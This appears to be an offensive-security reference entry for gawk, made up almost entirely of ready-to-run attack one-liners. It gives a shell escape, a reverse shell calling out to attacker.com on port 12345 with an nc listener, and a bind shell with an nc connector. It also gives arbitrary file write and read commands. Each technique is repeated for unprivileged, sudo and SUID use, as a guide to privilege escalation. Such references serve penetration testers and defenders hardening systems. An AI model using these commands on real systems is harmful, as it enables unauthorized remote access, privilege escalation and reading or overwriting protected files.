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This is an alias of gawk.

• Shell
• Reverse shell
• Bind shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  gawk 'BEGIN {system("/bin/sh")}'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gawk 'BEGIN {system("/bin/sh")}'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  gawk 'BEGIN {system("/bin/sh")}'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

• Unprivileged

  This function can be performed by any unprivileged user.

  gawk 'BEGIN {
      s = "/inet/tcp/0/attacker.com/12345";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gawk 'BEGIN {
      s = "/inet/tcp/0/attacker.com/12345";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  gawk 'BEGIN {
      s = "/inet/tcp/0/attacker.com/12345";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  TTY

  The spawned shell is just a dummy REPL that can only run simple terminal commands.

  Listener

  A TCP server can be used on the attacker box to receive the shell.

  nc -l -p 12345

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

• Unprivileged

  This function can be performed by any unprivileged user.

  gawk 'BEGIN {
      s = "/inet/tcp/12345/0/0";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gawk 'BEGIN {
      s = "/inet/tcp/12345/0/0";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  gawk 'BEGIN {
      s = "/inet/tcp/12345/0/0";
      while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
      while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

  TTY

  The spawned shell is just a dummy REPL that can only run simple terminal commands.

  Connector

  A TCP client can be used on the attacker box to connect to the shell.

  nc victim.com 12345

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  gawk '//' /path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gawk '//' /path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  gawk '//' /path/to/input-file

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